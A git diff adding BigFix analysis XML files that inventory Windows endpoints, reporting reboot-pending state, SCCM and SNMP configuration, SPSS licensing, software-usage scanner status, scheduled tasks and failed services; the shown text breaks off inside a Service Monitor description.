+    <Property ID="3" Name="PendingFileRenameOperations">if exists value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry then substrings separated by &quot;%00&quot; of (value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry as string) else &quot;No value found&quot;</Property>
+    <Property ID="4" Name="RebootRequired">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry else &quot;No key found&quot;</Property>
+    <Property ID="5" Name="RebootPending">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry else &quot;No key found&quot;</Property>
+    <Property ID="6" Name="UpdateExeVolatile">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then if exists value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry as string else &quot;No value found&quot; else &quot;Key does not exist&quot;</Property>
+    <Property ID="7" Name="Exclusions">values of settings &quot;_BESClient_ActionManager_PendingRestartExclusions&quot; of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes b/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes
new file mode 100644
index 000000000..d1101a044
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SCCM - Windows
+  ID       : 2998488
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-14T15:35:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SCCM - Windows</Title>
+    <Description><![CDATA[This analysis provides information related to the currently installed System Center Configuration Manager Agent for Windows devices.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;CcmExec&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SCCM - Version - Windows" EvaluationPeriod="P1D">version of service &quot;CcmExec&quot;</Property>
+    <Property ID="2" Name="SCCM - Site Code - Windows" EvaluationPeriod="PT12H">value &quot;LastSiteCode&quot; of Key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\CCM\CcmEval&quot; of native registry</Property>
+    <Property ID="3" Name="SCCM - Last Inventory Report - Windows" EvaluationPeriod="PT1H">time value of selects &quot;LastReportDate from InventoryActionStatus where InventoryActionID = &apos;{00000000-0000-0000-0000-000000000001}&apos;&quot; of wmi &quot;root\ccm\InvAgt&quot;</Property>
+    <Property ID="4" Name="SCCM - Management Point - Windows" EvaluationPeriod="PT1H">string value of select &quot;CurrentManagementPoint from SMS_Authority&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="5" Name="SCCM - Installed Components - Windows" EvaluationPeriod="P1D">unique values of string values of selects &quot;DisplayName from CCM_InstalledComponent&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="6" Name="SCCM - Client Approved - Windows" EvaluationPeriod="PT6H">boolean value of selects &quot;Approved from CCM_ClientIdentificationInformation&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="7" Name="SCCM - Proxy Management Point - Windows" EvaluationPeriod="PT12H">string value of select &quot;Name from SMS_LocalMP&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="8" Name="SCCM - Package Advertisements - Windows" EvaluationPeriod="PT12H">(string value of property &quot;PKG_NAME&quot; of it, string value of property &quot;PolicyID&quot; of it) of select objects &quot;* from CCM_SoftwareDistribution&quot; of wmi &quot;root\ccm\Policy\Machine\RequestedConfig&quot;</Property>
+    <Property ID="9" Name="SCCM - Max Cache Size - Windows" EvaluationPeriod="PT12H">integer value of selects &quot;Size from CacheConfig&quot; of WMI &quot;ROOT\ccm\SoftMgmtAgent&quot;</Property>
+    <Property ID="10" Name="SCCM - Missing Updates - Windows" EvaluationPeriod="PT12H">unique values of string values of selects &quot;Title from CCM_UpdateStatus WHERE Status=&apos;Missing&apos;&quot; of WMI &quot;ROOT\ccm\SoftwareUpdates\UpdatesStore&quot;</Property>
+    <Property ID="11" Name="SCCM - State - Windows" EvaluationPeriod="PT1H">state of service &quot;CcmExec&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes b/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes
new file mode 100644
index 000000000..08dd60004
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SNMP - Windows
+  ID       : 2998459
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-21T12:53:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SNMP - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current SNMP configuration in Windows.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;SNMP&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SNMP - State - Windows" EvaluationPeriod="PT1H">state of service &quot;SNMP&quot; | error &quot;Not Installed&quot;</Property>
+    <Property ID="2" Name="SNMP - Read-Only Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 4) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
+    <Property ID="3" Name="SNMP - Permitted Managers - Windows" EvaluationPeriod="PT12H">values of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry</Property>
+    <Property ID="4" Name="SNMP - Read-Write Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 8) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes b/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes
new file mode 100644
index 000000000..99f8a36b4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SNMP Configuration
+  ID       : 2994764
+  Author   : jimwald
+  Domain   : BESC
+  Imported : 2015-02-10T13:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SNMP Configuration</Title>
+    <Description><![CDATA[Analysis to&nbsp;read the state and configuration of SNMP service for Windows Servers.&nbsp; ]]></Description>
+    <Relevance>name of operating system contains &quot;Win2&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 10 Feb 2015 17:56:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SNMP Service State">if exists Service &quot;SNMP&quot; then state of service &quot;SNMP&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="4" Name="SNMP Valid Communities">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="5" Name="SNMP Permitted Managers">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes b/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes
new file mode 100644
index 000000000..cfb02897c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SPSS Installation and Licensing - Windows
+  ID       : 2994757
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-19T14:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SPSS Installation and Licensing - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 Dec 2014 21:32:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Versions" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)</Property>
+    <Property ID="2" Name="Install Folders" EvaluationPeriod="PT12H">unique values of pathnames of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="3" Name="License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="4" Name="License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="5" Name="License Expirations" EvaluationPeriod="PT12H">unique values of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="6" Name="Network License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="7" Name="Network License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;spssprod.inf&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="8" Name="Network License Server" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot;) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="10" Name="License Status" EvaluationPeriod="PT6H">unique values of ( ( ( (if (it &lt; current date) then &quot;Expired on &quot; else &quot;Expires on &quot;) &amp; following text of first &quot;, &quot; of (it as string) ) of maxima of (it as date) of (following text of last &quot; &quot; of preceding text of first &quot;, &quot; of it &amp; &quot; &quot; &amp; preceding text of first &quot; &quot; of it &amp; &quot; &quot; &amp; following text of last &quot;, &quot; of it) of (it as trimmed string) of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of it) of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)) )</Property>
+    <Property ID="11" Name="Network License Server (Filtered)" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot; AND ( /* The following should be true of any License Server that is a domain name, or an IPV4 address */ 1 &lt; number of substrings separated by &quot;.&quot; of it )) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes b/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes
new file mode 100644
index 000000000..73033e690
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SUA - Software Usage Analysis Info - Windows
+  ID       : 2994536
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-20T13:20:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SUA - Software Usage Analysis Info - Windows</Title>
+    <Description><![CDATA[<P>This Analysis is to gather data about clients who are reporting data to Software Use Analysis. The "Duration of Scan" property will likely report an error if the scan is in progress, and probably for other reasons I have not yet investigated. The "ScanLog-ModTime" property should be the time of the last scan, unless a scan is in progress. The "Time between Scan &amp; Upload" property is the difference of the mod time of the newest upload and the mod time of the scan log, which may be incorrect/negative if a scan is in progresss.</P>
+<P>NOTE: This is "BETA" code and is not fully tested or in full production. This is an attempt to gather helpful feedback on the status of SUA&nbsp;on the client. </P>
+<P>NOTE: This has only been tested on Windows, but should work on other OSes with minor adjustments.</P>
+<P><A href="http://bigfix.me/cdb/analysis/2994536">http://bigfix.me/cdb/analysis/2994536</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 20 Jun 2013 20:02:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ScanLog-ModTime" EvaluationPeriod="PT6H">if(not(exists parent folder of regapp &quot;besclient.exe&quot; AND exists folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;) AND exists file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) )) then ERROR &quot;no log&quot; else (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) as string)</Property>
+    <Property ID="2" Name="Results to Upload?" EvaluationPeriod="PT6H">if (exists value of settings &quot;ITSIT_Scanner_OutDir&quot; of client) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (value of settings &quot;ITSIT_Scanner_OutDir&quot; of client)) else (if (name of operating system as lowercase starts with &quot;win&quot;) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) else (exists file (computer id as string &amp; &quot;.xml&quot;) of folder ((pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;) &amp; &quot;/LMT/ITSIT&quot;)))</Property>
+    <Property ID="4" Name="Last Upload? (i think)" EvaluationPeriod="PT6H">maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
+    <Property ID="5" Name="Duration of Scan?" EvaluationPeriod="PT6H">((following text of first &quot;;&quot; of it as string as time)-(preceding text of first &quot;;&quot; of it as string as time)) of concatenation &quot;;&quot; of (it as string) of following texts of firsts &quot;# &quot; of lines whose(it does not contain &quot;Started&quot; AND it does not contain &quot;Complete&quot; AND it contains &quot;:&quot; AND it contains &quot;# &quot;) of file &quot;scan.log&quot; of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
+    <Property ID="7" Name="Time between Scan &amp; Upload" EvaluationPeriod="PT6H">(maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) - (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;))</Property>
+    <Property ID="9" Name="CIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Scan_Count&quot; of client</Property>
+    <Property ID="10" Name="ITSIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scan_Count&quot; of client</Property>
+    <Property ID="11" Name="Version of CIT Scanner" EvaluationPeriod="PT6H">if(exists folder &quot;C:\Program Files\tivoli\cit\properties\version&quot; AND exists file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) then ((it as text) of xpaths &quot;/Component/ComponentVersion&quot; of xml document of file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) else ERROR &quot;No CIT Scanner&quot;</Property>
+    <Property ID="12" Name="Location of CIT Scanner" EvaluationPeriod="PT12H">if (exists folder &quot;LMT\CIT&quot; of parent folder of client AND exists file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) then (following text of first &quot;Default dest: &quot; of line whose(it starts with &quot;Default dest: &quot;) of file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) as trimmed string else ERROR &quot;No CIT Scanner&quot;</Property>
+    <Property ID="13" Name="ITSIT_Scanner_Version file" EvaluationPeriod="PT6H">version of file &quot;itsit.exe&quot; of folder &quot;LMT\ITSIT&quot; of parent folder of client</Property>
+    <Property ID="14" Name="ITSIT_Scanner_Version setting" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Version&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Version&quot; of client</Property>
+    <Property ID="15" Name="_BESClient_UsageManager_EnableAppUsageSummary" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; of client</Property>
+    <Property ID="16" Name="_BESClient_UsageManager_EnableAppUsageSummaryApps" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; of client</Property>
+    <Property ID="17" Name="ITSIT_Scanner_Debug" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Debug&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Debug&quot; of client</Property>
+    <Property ID="18" Name="ITSIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Deny&quot; of client</Property>
+    <Property ID="19" Name="ITSIT_Scanner_OutDir" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_OutDir&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_OutDir&quot; of client</Property>
+    <Property ID="20" Name="CIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Deny&quot; of client</Property>
+    <Property ID="23" Name="CIT_BuildDate" EvaluationPeriod="PT6H">(following text of first &quot;CIT_BuildDate = &quot; of lines whose(it starts with &quot;CIT_BuildDate = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+    <Property ID="24" Name="CIT_Exploiters" EvaluationPeriod="PT6H">(following text of first &quot;CIT_Exploiters = &quot; of lines whose(it starts with &quot;CIT_Exploiters = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+    <Property ID="25" Name="CIT_ConfigRootDirectory" EvaluationPeriod="PT6H">(following text of first &quot;CIT_ConfigRootDirectory = &quot; of lines whose(it starts with &quot;CIT_ConfigRootDirectory = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes b/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes
new file mode 100644
index 000000000..1f2a72d96
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Scheduled Tasks - Windows
+  ID       : 2998472
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-26T07:41:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Scheduled Tasks - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information about the currently configured scheduled tasks on the system.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Tasks - Paths - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it) of scheduled tasks</Property>
+    <Property ID="2" Name="Tasks - Last Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last run time of it) of scheduled tasks</Property>
+    <Property ID="3" Name="Tasks - Next Run Time - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, next run time of it as string | &quot;none&quot;) of scheduled tasks</Property>
+    <Property ID="4" Name="Tasks - Last Result - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it, last task result of it | 0) of scheduled tasks</Property>
+    <Property ID="5" Name="Tasks - State - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, (if (enabled of it) then (&quot;Enabled&quot;) else &quot;Disabled&quot;)) of scheduled tasks</Property>
+    <Property ID="6" Name="Tasks - Run when Idle - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, idle duration of idle settings of settings of definition of it as string) of scheduled tasks whose (exists idle duration of idle settings of settings of definition of it as string)</Property>
+    <Property ID="7" Name="Tasks - Run As - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, account name of owner of security descriptor of it) of scheduled tasks</Property>
+    <Property ID="8" Name="Tasks - Embedded Passwords - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (name of it, user id of principal of definition of it) of scheduled tasks whose (password logon of principal of definition of it)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes b/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes
new file mode 100644
index 000000000..3ea897309
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Service Error
+  ID       : 2994723
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:55:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Service Error</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Jul 2014 18:00:30 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Failed Services">display names of services whose (start type of it = &quot;auto&quot; and state of it != &quot;Running&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes b/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes
new file mode 100644
index 000000000..4f571983a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Service Monitor - Windows
+  ID       : 2998502
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Service Monitor - Windows</Title>
+    <Description><![CDATA[This Analysis will report on the statistics stored by the&nbsp;<STRONG>Fixlet:</STRONG>&nbsp;"Invoke - Service Monitor - Windows". Specifically it will report information related to monitored services started by the BigFix Agent.
+<P>To define a service as, "Monitored" for use by this fixlet:</P>
+<OL>
